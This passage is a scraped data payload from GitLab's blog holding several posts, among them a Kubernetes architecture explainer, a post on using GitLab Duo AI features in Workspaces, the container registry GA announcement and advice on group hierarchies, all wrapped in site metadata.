Kubernetes](https://about.gitlab.com/blog/tags/kubernetes/).\n\n## How does a Kubernetes architecture work?\n\nTo understand how a Kubernetes architecture works, it is essential to become familiar with certain concepts, starting with that of the cluster, which is the most extensive within the architecture. A Kubernetes cluster is defined as the set of virtual or physical machines on which a containerized application is installed.\n\n![Components of Kubernetes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673941/Blog/Content%20Images/components-of-kubernetes.png)\n\nSource: [Kubernetes](https://kubernetes.io/docs/concepts/overview/components/).\n\nThis cluster comprises different elements:\n- Node: This is a work unit in a Kubernetes cluster. It is a virtual or physical machine that performs tasks on behalf of the application.\n- Pod: A pod is the smallest deployable unit in Kubernetes. It is a group of containers working together on the same node. Containers inside a pod share the same network and can communicate with each other via localhost.\n- Service: A Kubernetes service exposes a pod to the network or other pods. It offers a stable and well-defined access point to applications hosted by pods.\n- Volume: A folder abstraction that solves problems of sharing and retrieving files within a container.\n- Namespace: A namespace allows you to group and isolate resources to form a virtual cluster.\n\nThe Kubernetes architecture is based on two main types of nodes: the master node and the worker nodes. The master node is responsible for the overall management of the Kubernetes cluster and communication with the worker nodes. Among its key components, the API is the central point of contact for all communications between users and the cluster. The [etcd](https://kubernetes.io/docs/concepts/overview/components/#etcd) is the key-value database where the configurations, the system state and the object metadata, are stored. The controller manager coordinates background operations such as pod replication, and the scheduler places pods on nodes based on available resources.\n\nWorker nodes, on the other hand, are the machines that run and manage the applications contained in the pods. Within them, the [kubelet](https://kubernetes.io/docs/concepts/overview/components/#kubelet) is the agent that runs on each node and communicates with the master to receive the commands and transmit the status of the pods. The network proxy or [kube-proxy](https://kubernetes.io/docs/concepts/overview/components/) maintains network rules on nodes to allow access to services from outside the Kubernetes cluster. Finally, the container runtime is the software responsible for the execution and management of containers within the pods.\n\n### Docker's role\n\nAmong all the components of a K8s cluster, the choice of runtime within the worker nodes is important. Different software is available for this, such as rkt or CRI-O, but Docker is the most commonly used tool.\n\n### What is the difference between Docker and Kubernetes?\n\nDocker is an open-source solution that is specifically used at the container level. It allows containers to be packaged in a standardized and lightweight format, which increases their portability in different environments. It is therefore a complementary tool to K8s that facilitates the management of containers themselves, while Kubernetes simplifies their integration and communication within the application.\n\n## What are the benefits of Kubernetes?\n\nLaunched by Google in 2014, the first stable version of Kubernetes appeared in July 2015. Since then, the popularity of this software has not wavered, making K8s a benchmark in the field of container orchestration, especially for microservice-oriented architectures. So then, why use Kubernetes? This success is primarily due to the excellent performance of this software in container orchestration.\n\nThe benefits of Kubernetes are plenty, as follows:\n- Automation: Kubernetes facilitates the automation of tasks related to the deployment, scaling, and updating of containerized applications.\n- Flexibility: The software adapts to different container technologies, as well as various hardware architectures and operating systems.\n- Scalability: K8s facilitates the deployment and management of thousands of containers, regardless of their status: running, paused, or stopped.\n- Migration: It is possible to easily migrate applications to Kubernetes without having to change the source code.\n- Multi-cluster support: Kubernetes centrally manages multiple container clusters distributed across different infrastructures.\n- Update management: The software supports rolling update deployments to update applications without service disruption.\n\n## A robust and scalable ecosystem\n\nKubernetes stands out for its ability to manage containers efficiently and securely, while maintaining its independence from cloud infrastructure providers. Its modular architecture adapts to the specific needs of each company and supports a very wide range of applications and services (web services, data processing, mobile applications, etc.).\n\nIn the race for digital transformation, Kubernetes also wins over people, thanks to its rich and scalable ecosystem within the open-source community. Managed by the Cloud Native Computing Foundation ([CNCF](https://www.cncf.io/)), K8s is supported by thousands of developers around the world. They contribute to the development of the project and the continuous improvement of its features.\n\n## What are the limitations of Kubernetes?\n\nThe benefits of Kubernetes make it a safe choice for many development teams in the cloud-native application space. Nevertheless, it is worth pointing out some of its limitations. Kubernetes requires a solid technical background and training in new development concepts and methods. The software can be complex to configure at the beginning of a project. However, configuration is crucial, especially to secure the platform. Having an experienced development team for K8s projects is therefore a significant asset.\n\nAnother challenge is the implementation and maintenance of a K8s architecture, which also requires time and resources, especially to update its various components and software. This raises the question of possible oversizing. In the case of a small application, or a project with no particular challenge in terms of scalability, a more basic architecture may suffice while being more economical.\n\n## Using Kubernetes within your teams\n\nTens of thousands of companies have adopted a Kubernetes architecture to carry out their digital transition. K8s is used by companies of all sizes, from startups to multinationals.\n\nThere are many examples of successful integrations, such as for Haven Technologies. Haven Technologies has migrated its SaaS services to K8s and relies in particular on a Kubernetes strategy with the GitLab DevSecOps platform to help its teams improve efficiency, security, and speed of software development. Check out [our client story](https://about.gitlab.com/customers/haven-technologies/) to learn more!\n\n## Kubernetes, Git, and GitLab\n\nKubernetes, Git, and GitLab are essential elements of the DevOps landscape. Kubernetes offers great flexibility to deploy and manage the various components of an application, while GitLab, which is built around Git and its native version control system, allows rigorous and accurate tracking of source code and changes, while providing a comprehensive suite of tools to manage the entire software development lifecycle.\n\nThis combination, together with a [GitOps approach](https://about.gitlab.com/topics/gitops/), which aims to automate the provisioning of modern cloud infrastructures, creates an agile environment for application development and deployment, thus making it possible to provide powerful, flexible, and scalable software. For more details, discover all [GitLab solutions to launch an application with Kubernetes](https://about.gitlab.com/solutions/kubernetes/).\n\n## Kubernetes FAQ\n### What are the competing solutions to K8s?\n\nThere are several alternatives to Kubernetes, including Docker Swarm, and Marathon. However, Kubernetes is considered the most mature and popular solution on the market. Its broad user base, abundant documentation, and active community support make Kubernetes an excellent choice for those looking to adopt a container orchestration system.\n\n### What is a Kubernetes cluster?\n\nA Kubernetes cluster is composed of a master node and several worker nodes. The master node is responsible for coordinating the tasks in the cluster, while the worker nodes execute these orchestration tasks and host the containers. K8s clusters are highly scalable – nodes can be added or removed to adapt cluster resources to the needs of the application.\n\n### How to get started with Kubernetes?\n\nTo begin, it is necessary to install the Kubernetes software on a compatible environment (Linux, macOS, or Windows). Kubernetes can be installed in a traditional hosting environment, but also in a cloud environment (Google Kubernetes Engine or Amazon EKS, for example). Users can download and install Kubernetes directly from their official site, and then proceed with the initial configuration necessary to connect the master and worker nodes. Once this step is completed, users are ready to deploy a first application using Kubernetes.\n\n### Why choose Kubernetes?\n\nKubernetes offers great flexibility and total portability between different cloud platforms or on-site infrastructures. By automating orchestration tasks, K8s helps to optimize resources, reduce operating costs, and free up time for developers and system administrators. Finally, the Kubernetes ecosystem is vast and is continuously developed by a large open-source community, enabling rapid innovation.\n\n## Learn more\n\n- [How to stream logs through the GitLab Dashboard for Kubernetes](https://about.gitlab.com/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes/)\n- [Kubernetes overview: Operate cluster data on the frontend](https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend/)\n- [Simplify your cloud account management for Kubernetes access](https://about.gitlab.com/blog/simplify-your-cloud-account-management-for-kubernetes-access/)\n",[2509,815],{"slug":5137,"featured":6,"template":678},"kubernetes-the-container-orchestration-solution","content:en-us:blog:kubernetes-the-container-orchestration-solution.yml","Kubernetes The Container Orchestration Solution","en-us/blog/kubernetes-the-container-orchestration-solution.yml","en-us/blog/kubernetes-the-container-orchestration-solution",{"_path":5143,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5144,"content":5150,"config":5155,"_id":5158,"_type":16,"title":5159,"_source":17,"_file":5160,"_stem":5161,"_extension":20},"/en-us/blog/gitlab-patch-release-17-2-1-17-1-3-17-0-5",{"title":5145,"description":5146,"ogTitle":5145,"ogDescription":5146,"config":5147,"ogImage":3431,"ogUrl":5148,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5148,"schema":5149},"GitLab Patch Release: 17.2.1, 17.1.3, 17.0.5","Learn more about GitLab Patch Release: 17.2.1, 17.1.3, 17.0.5 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-2-1-17-1-3-17-0-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.2.1, 17.1.3, 17.0.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Alfaro\"}],\n        \"datePublished\": \"2024-07-24\",\n      }",{"title":5145,"description":5146,"authors":5151,"heroImage":3431,"date":5152,"body":5153,"category":695,"tags":5154},[3185],"2024-07-24","This is the blog for [GitLab Patch Release: 17.2.1, 17.1.3, 17.0.5](https://about.gitlab.com/releases/2024/07/24/patch-release-gitlab-17-2-1-released/).",[774,1464],{"slug":5156,"featured":6,"template":678,"externalUrl":5157},"gitlab-patch-release-17-2-1-17-1-3-17-0-5","https://about.gitlab.com/releases/2024/07/24/patch-release-gitlab-17-2-1-released/","content:en-us:blog:gitlab-patch-release-17-2-1-17-1-3-17-0-5.yml","Gitlab Patch Release 17 2 1 17 1 3 17 0 5","en-us/blog/gitlab-patch-release-17-2-1-17-1-3-17-0-5.yml","en-us/blog/gitlab-patch-release-17-2-1-17-1-3-17-0-5",{"_path":5163,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5164,"content":5170,"config":5175,"_id":5177,"_type":16,"title":5178,"_source":17,"_file":5179,"_stem":5180,"_extension":20},"/en-us/blog/use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace",{"title":5165,"description":5166,"ogTitle":5165,"ogDescription":5166,"noIndex":6,"ogImage":5167,"ogUrl":5168,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5168,"schema":5169},"Use GitLab AI features out-of-the-box in a GitLab Workspace","GitLab Workspaces now ships with the GitLab workflow extension preinstalled, providing access to powerful AI features like GitLab Duo Chat and Code Suggestions for increased productivity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098843/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750098843047.png","https://about.gitlab.com/blog/use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use GitLab AI features out-of-the-box in a GitLab Workspace\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Safwan Ahmed\"}],\n        \"datePublished\": \"2024-07-24\",\n      }",{"title":5165,"description":5166,"authors":5171,"heroImage":5167,"date":5152,"body":5173,"category":791,"tags":5174},[5172],"Safwan Ahmed","AI is transforming the way we get work done, from helping automate mundane tasks to optimizing aspects of our day-to-day workflow. Of particular relevance has been [generative AI’s ability](https://about.gitlab.com/the-source/ai/how-to-put-generative-ai-to-work-in-your-devsecops-environment/) to support developers in getting the job done, from code snippet suggestions to concise summaries of technical questions. These AI tools have been embedded in the development lifecycle through integrations with existing software like code editors and CI/CD platforms. Thanks to these integrations, particularly in the case of code editors, developers can have an AI assistant that complements their skills within their development environment.\n\nWhile these AI tools can help boost productivity, setting them up in an existing development environment may not be preferable. For example, you may not want to install a new dependency on your local workstation that could affect your setup, you may have security or privacy concerns about running AI tools on your computer, or you may find it hard to give the tooling context on your existing workflow. GitLab resolves these issues by providing a suite of tools that allow you to leverage the power of AI in [a remote development workspace](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/) right out of the box. In this blog, you'll learn about the GitLab features that make this possible and how to set up your [workspace environment](https://docs.gitlab.com/ee/user/workspace/) to get started.\n\n## GitLab workflow extension for VS Code\n\nGitLab workflow extension for VS Code integrates GitLab into the VS Code editor. It brings into scope key elements of your GitLab workflow such as issues, merge requests, and pipeline status. For more information, visit [the GitLab workflow extension documentation](https://docs.gitlab.com/ee/editor_extensions/visual_studio_code/).\n\n## GitLab Workspaces\n\nGitLab Workspaces provide an isolated development environment to make changes to your GitLab projects. Workspaces offer a platform to work on your projects without the complexity of setting up local dependencies. Workspaces also provide reproducible development setups, as a workspace environment configuration created by one developer can be shared with others. GitLab Workspaces are configured to use the VS Code editor and ship with the workflow extension preinstalled. To learn more, visit the [GitLab Workspaces documentation](https://docs.gitlab.com/ee/user/workspace/).\n\n## GitLab Duo Chat and Code Suggestions\n\n[GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available) and [GitLab Duo Code Suggestions](https://about.gitlab.com/blog/gitlab-duo-code-suggestions-is-generally-available/) are part of the GitLab Duo suite of AI features enhancing developer productivity. Chat and Code Suggestions are integrated into the workflow extension and are GitLab context-aware. This allows you to ask GitLab Duo questions about items like issues and merge requests and to automatically have access to code suggestions and code completion. This integration requires [a GitLab Duo license](https://about.gitlab.com/gitlab-duo/). See the [GitLab Duo Chat documentation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/) and [GitLab Duo Code Suggestions documentation](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/) for more information.\n\n## How to set up the Workflow extension, Workspaces, and GitLab Duo to work together\n\nWhile these features are impressive on their own, when combined they deliver on the promise of an easy-to-spin-up, isolated, AI-driven development environment. Here are the steps to get this powerhouse up and running.\n\n## Create a workspace\n\nFollow this [comprehensive but easy-to-follow tutorial](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/) to create a remote development workspace.\n\n## Validate GitLab Workflow is active\n\nAfter your workspace is up and running, you should see a GitLab icon on the side of your editor like the following:\n\n![Arrow pointing to GitLab tanuki icon](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098853/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098853108.png)\n\nYou can then use the workflow extension to bring up merge requests assigned to you in the current project in GitLab. To do this, access the command palette by hitting `command + shift + P` and entering `GitLab: Show Merge Requests Assigned to Me`. This will redirect you to GitLab and show your assigned MRs.\n\n![Arrow pointing to 'GitLab: Show Merge Requests Assigned to Me'](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098853/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098853109.png)\n\nFor more tips and tricks, read [Visual Studio code editor: Eight tips for using GitLab VS Code](https://about.gitlab.com/blog/vscode-workflows-for-working-with-gitlab/).\n\n## Use GitLab Duo Chat\n\nYou should also see a second, smaller GitLab icon on your sidebar. This gives you access to GitLab Duo Chat. Feel free to ask it a question.\n\n![Arrow pointing to GitLab tanuki icon with sparkles around it](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098853/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098853111.png)\n\n## Use GitLab Duo Code Suggestions\n\nOpen up any source file in your directory. You can begin typing code and have predictive suggestions, powered by GitLab Duo Code Suggestions, pop up –  you can insert them by hitting the tab key. The example below shows my attempt to write a string processing function. Code Suggestions has inferred I would want to split the passed string into spaces, which is indeed my intention.\n\n![Code Suggestions suggesting that the passed string into spaces](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098853/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098853112.png)\n\nSuppose I have completed my string processing function above and would like to generate unit tests for it but want to avoid the chore of writing boilerplate code. You can provide a comment in your editor and have Code Suggestions generate code for you like the following:\n\n![Shows boilerplate code for generating unit tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098853/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098853115.png)\n\nCode Suggestions implements a whole unit test for my function, covering happy and sad paths.\n\nFor more exciting uses of the GitLab Duo suite, check out these articles:\n* [10 best practices for using AI-powered GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\n* [Top tips for efficient AI-powered Code Suggestions with GitLab Duo](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/)\n* [\"Developing GitLab Duo\" blog series](https://about.gitlab.com/blog/developing-gitlab-duo-series/)\n\n# Next steps\n\nGitLab Workspaces is coming up with more exciting integrations and features that will enhance your remote development experience, be sure to check out the [category epic](https://gitlab.com/groups/gitlab-org/-/epics/7419) to know what’s coming next!\n\n> Sign up for [a free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/) today!\n",[790,1444,232,754],{"slug":5176,"featured":92,"template":678},"use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace","content:en-us:blog:use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace.yml","Use Gitlab Ai Features Out Of The Box In A Gitlab Workspace","en-us/blog/use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace.yml","en-us/blog/use-gitlab-ai-features-out-of-the-box-in-a-gitlab-workspace",{"_path":5182,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5183,"content":5188,"config":5193,"_id":5195,"_type":16,"title":5196,"_source":17,"_file":5197,"_stem":5198,"_extension":20},"/en-us/blog/next-generation-gitlab-container-registry-goes-ga",{"title":5184,"description":5185,"ogTitle":5184,"ogDescription":5185,"noIndex":6,"ogImage":2521,"ogUrl":5186,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5186,"schema":5187},"Next-generation GitLab container registry goes GA","Starting in GitLab 17.3, GitLab self-managed instances can access the generally available container registry, which features efficient zero-downtime garbage collection and other benefits.","https://about.gitlab.com/blog/next-generation-gitlab-container-registry-goes-ga","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Next-generation GitLab container registry goes GA\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-07-23\",\n      }",{"title":5184,"description":5185,"authors":5189,"heroImage":2521,"date":5190,"body":5191,"category":695,"tags":5192},[1125],"2024-07-23","Last year, we embarked on an ambitious journey to [re-architect the GitLab container registry](https://gitlab.com/gitlab-org/container-registry/-/issues/199) and unlock powerful new capabilities like zero-downtime garbage collection. After successfully migrating GitLab.com to this next-generation registry, we [opened up a beta program](https://about.gitlab.com/blog/gitlabs-next-generation-container-registry-is-now-available/) for self-managed customers to test out the new architecture and provide feedback.\n\nThe results from the beta program have been outstanding – participants are already realizing major benefits, including the following:\n\n- significant storage cost and maintenance time savings from efficient zero-downtime garbage collection, with no required downtime or manual interventions\n- improved performance and reliability for tag cleanup policies and the container registry API and UI\n- early access to new features like better sorting/filtering and storage usage visibility\n\nBased on the positive feedback and successful migrations during the beta, we are excited to announce that the next-generation GitLab container registry will become generally available – but off by default – for self-managed deployments starting with GitLab 17.3.\n\nBelow are the goals and non-goals for reaching this point. The goals are what we need to have in place to officially call this feature GA. The non-goals clarify what will not be present or required at the start of GA support for bringing your own database; however, these features may be added later.\n\n__Goals__\n- The import process is free of known bugs.\n- Import documentation reflects known best practices and addresses feedback from the [beta program](https://gitlab.com/gitlab-org/gitlab/-/issues/423459).\n- Registry API, metadata database, and zero-downtime garbage collection are stable and reliable.\n- Able to automatically apply database schema migrations for Charts installs during upgrades.\n- Provide registry database as an opt-in improvement.\n\n__Non-goals__\n- Automatically provision registry database.\n- Automatically apply database schema migrations for omnibus installs during upgrades.\n- Automatically import object storage data.\n- Provide Geo support to ensure your registry is highly available.\n\nFor existing self-managed instances, here's what you can expect:\n\n- In GitLab 17.3, the new registry will be included, but disabled by default to allow time for planning migrations.\n- Enabling the database will be an opt-in process outlined in the [documentation](https://docs.gitlab.com/ee/administration/packages/container_registry_metadata_database.html).\n- The legacy container registry will still receive security updates, but new features and improvements will only be developed for the next-gen version.\n- We will target GitLab 19.0 for the legacy registry to stop being supported after over a year of co-existence.\n- Our goal is to make this transition as seamless as possible while putting customers in control of their migration timeline. The [documentation](https://docs.gitlab.com/ee/administration/packages/container_registry_metadata_database.html) covers all the details on how to plan and execute the move to the next-gen registry.\n\nThis architectural investment lays the foundation for an even more powerful container registry experience in the years ahead. Some of the significant improvements on our roadmap include:\n\n- protected repositories and immutable tags\n- improved Helm chart management\n- improved support for signing and attestations\n- many more UX/UI enhancements are only possible with the database architecture\n\nWe couldn't have reached this GA milestone without the valuable feedback from our beta participants. As always, please continue to share your experiences so we can make the GitLab container registry an indispensable part of your DevSecOps toolchain.\n\n> You can try the container registry today with a [free, 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).",[479,754,3949,695],{"slug":5194,"featured":92,"template":678},"next-generation-gitlab-container-registry-goes-ga","content:en-us:blog:next-generation-gitlab-container-registry-goes-ga.yml","Next Generation Gitlab Container Registry Goes Ga","en-us/blog/next-generation-gitlab-container-registry-goes-ga.yml","en-us/blog/next-generation-gitlab-container-registry-goes-ga",{"_path":5200,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5201,"content":5207,"config":5212,"_id":5214,"_type":16,"title":5215,"_source":17,"_file":5216,"_stem":5217,"_extension":20},"/en-us/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"title":5202,"description":5203,"ogTitle":5202,"ogDescription":5203,"noIndex":6,"ogImage":5204,"ogUrl":5205,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5205,"schema":5206},"Best practices to set up organizational hierarchies that scale","Learn how to model organizational hierarchy in GitLab. Create structures with clear lines of communication, strategic alignment, and more, while following Agile principles.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098165/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750098164666.png","https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Best practices to set up organizational hierarchies that scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-22\",\n      }",{"title":5202,"description":5203,"authors":5208,"heroImage":5204,"date":5209,"body":5210,"category":1897,"tags":5211},[1894],"2024-07-22","Maximizing the benefits of your GitLab subscription begins with an effective organizational setup. Here’s a straightforward guide to configuring your group, subgroup, and project structure to enhance your GitLab experience.\n\n## Understanding the structure: Groups, subgroups, and projects\n\nGroups and projects allow you to model your organizational hierarchy, enabling advanced permissions management and “team of teams” planning. Use groups and subgroups for strategic planning and configuration management that cascades into subgroups and projects lower in the hierarchy.\n\nBeyond this, you can also model your value streams, enhancing project management and collaboration across your organization.\n\n- **Project level (team level)**\n    - Nested within groups or subgroups, projects are where your actual work happens. This is where repositories live, and settings specific to the project are managed. Zoom into day-to-day activities and detailed project tracking at this level.\n    - Effective project configuration helps maintain clean, organized data, which is essential for accurate reporting and analysis.\n\n- **Subgroup level (team of teams)**\n    - Subgroups provide granular permissions management and can be tailored to specific team or project needs, ensuring consistent workflows across your organization.\n    - Subgroups function as clusters of related projects, similar to how a \"team of teams\" operates in Agile.\n    - This level is ideal for managing several teams working towards a common product or service. It facilitates cross-project visibility and integration, which supports synchronization between teams to align on interdependencies and shared objectives.\n\n- **Group level (team of team of teams)**\n    - Think of groups as your organizational pillars within GitLab where broad permissions and access are managed.\n    - At the highest level, groups encompass multiple subgroups and represent the strategic tier of project management, akin to the \"team of team of teams\" in Agile.\n    - This level sets the overarching goals and strategies, defining settings and allocating resources across projects and subgroups to ensure alignment with the company's broad business objectives.\n\nBy structuring your organization with GitLab, you parallel your chosen Agile methodology, which can help you apply Agile principles more naturally across your projects. This structure promotes clear lines of communication, efficient resource management, and strategic alignment, all while maintaining the flexibility and responsiveness inherent to Agile methodologies.\n\n> Keep up with news and insights about [GitLab Agile planning](https://about.gitlab.com/blog/categories/agile-planning/).\n\n## Leveraging the GitLab inheritance model\n\nOne of GitLab's powerful features is its [inheritance model](https://docs.gitlab.com/ee/tutorials/scrum_events/index.html#understanding-the-inheritance-model-in-gitlab), which allows settings, permissions, and configurations made at higher levels to automatically apply to lower levels within the hierarchy. Conversely, data at lower levels is instinctively available at higher levels in the structure. With the inheritance model, you gain visibility across your entire portfolio from within higher-level groups while providing distinct locations lower in the hierarchy for individual teams to manage their work.\n\nExamples:\n- **Create milestones and labels in your higher-level groups** to cascade down to all subgroups and projects promoting consistency and adherence to organizational standards.\n- **Issues and epics** in lower level projects and subgroups roll up your value stream hierarchy for ease of reference by program management and the executive layer.\n- **Manage user permissions at the group level or top-level subgroup** to optimize permissions and access control. This can simplify access control management and ensure that the right people have the right access across multiple projects without the need for repeated configuration.\n\nThese tips not only streamline administrative overhead but also reinforce security and compliance by ensuring that changes at the higher level consistently propagate downwards.\n\n![Organizational hierarchy diagram](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098179305.png)\n\n## Best practices for GitLab setup\n\nWhen setting up your GitLab organizational hierarchy, we recommend the following options depending on your organization's needs. Self-managed customers have the option to omit the \"Company Name\" root group layer, as this extra level of organization is not necessary for self-managed deployments. This flexibility ensures that your GitLab setup is tailored to your specific organizational structure and deployment preferences.\n\n### Option 1: Permissions and access are granted at the organizational subgroup level\n\nThis option is ideal for complex permission structures or large organizations needing efficient project sharing across numerous users.\n\n#### Example structure\n\n- Organizational Group\n    - Handles broad permissions typically through integrations with corporate provisioning systems.\n    - Users are added to subgroups, which will serve as the foundation for sharing the entire group with another [group](https://docs.gitlab.com/ee/user/group/manage.html#share-a-group-with-another-group) or a [project](https://docs.gitlab.com/ee/user/project/members/share_project_with_groups.html) to minimize the overhead of direct user management.\n    - When creating user groups, you can utilize [group mentions](https://docs.gitlab.com/ee/user/discussions/index.html#mentions) throughout GitLab to mention large groups of users at a time.\n\n- Development Group\n    - Provides executive-level and program-management-level visibility across all development projects at the highest development group level.\n    - Features are created at the subgroup level for access across multiple repos.\n    - Projects are created to hold development repos; this is the level for Team visibility.\n\n![organizational chart for subgroup level](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/Image_1_aHR0cHM6_1750098179306.png)\n\n### Option 2: Permissions and access are granted at any level\nThis option is best for smaller organizations with less complex access requirements. Users are added individually to the divisional groups, subgroups, or projects as access is required. This provides direct control over project management and operational visibility.\n\n#### Highlights\n- Users can be added to a group at the top of the hierarchy or to the lower-level subgroup/project depending on the granularity of access needs. Each member would need to be individually added rather than a single task of sharing a group.\n- Executive-level and program-management-level visibility across all development projects at the highest development group level.\n- Features are created at the subgroup level for access across multiple repos.\n- Projects are created to hold development repos; this is the level for Team visibility.\n\n![Permissions granted at any level](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/Image_2_aHR0cHM6_1750098179307.png)\n\n### Additional configuration considerations\n\n- Milestones and iterations\n    - Create group-level milestones for broad visibility or when milestones need to be shared across groups.\n    - Create milestones at the project level when the milestone is specific to a single project.\n    - For teams working across different groups, setting iterations at the parent group level is beneficial for unified tracking.\n\n- Data management\n    - Leverage GitLab's roadmaps, boards, and listing pages to pull data that reflects your organizational setup. This helps you visualize progress and plan effectively across different levels of your structure.\n    - GitLab makes data available in higher-level groups even when the data is created in lower levels.\n    - Create your views at higher levels when you want to view data across groups and projects, and at lower levels when you want to hone in on a specific group or project’s data.\n\n- Template creation\n    - Create higher-level templates to ensure they cascade to all subsequent subgroups and projects, mixing general guidelines with project-specific requirements.\n    - Templates are created within their own repository within the applicable group ([related documentation](https://docs.gitlab.com/ee/user/project/description_templates.html)).\n\n- Labels\n    - Create higher-level labels to ensure they cascade to all subsequent subgroups and projects, mixing org labels with project-specific labels.\n    - Use scoped labels to define organizational structures like teams and workflow status.\n\n![Issue board with labels](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098179310.png)\n\n## Leveraging GitLab’s features for optimal performance\n\nImplementing the right structure in GitLab not only streamlines the management of your software projects but also enhances the visibility across different levels of your organization, ensuring that everyone from the top management to individual contributors has the information they need to make informed decisions.\n\n> Get started modeling organizational hierarchy with [a free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[1899,754,479],{"slug":5213,"featured":6,"template":678},"best-practices-to-set-up-organizational-hierarchies-that-scale","content:en-us:blog:best-practices-to-set-up-organizational-hierarchies-that-scale.yml","Best Practices To Set Up Organizational Hierarchies That Scale","en-us/blog/best-practices-to-set-up-organizational-hierarchies-that-scale.yml","en-us/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"_path":5219,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5220,"content":5227,"config":5232,"_id":5235,"_type":16,"title":5236,"_source":17,"_file":5237,"_stem":5238,"_extension":20},"/en-us/blog/gitlab-17-2-release",{"title":5221,"description":5222,"ogTitle":5221,"ogDescription":5222,"config":5223,"ogImage":5224,"ogUrl":5225,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5225,"schema":5226},"GitLab 17.2 Release","GitLab 17.2 released with log streaming, a new pipeline execution security policy, and vulnerability explanations now generally available",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667769/Blog/Hero%20Images/product-gl17-blog-release-cover-17-2-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-2-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.2 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2024-07-18\",\n      }",{"title":5221,"description":5222,"authors":5228,"heroImage":5224,"date":5229,"body":5230,"category":695,"tags":5231},[2544],"2024-07-18","This is the post for the [GitLab 17.2 release](https://about.gitlab.com/releases/2024/07/18/gitlab-17-2-released/).",[774,695,479],{"slug":5233,"featured":92,"template":678,"externalUrl":5234},"gitlab-17-2-release","https://about.gitlab.com/releases/2024/07/18/gitlab-17-2-released/","content:en-us:blog:gitlab-17-2-release.yml","Gitlab 17 2 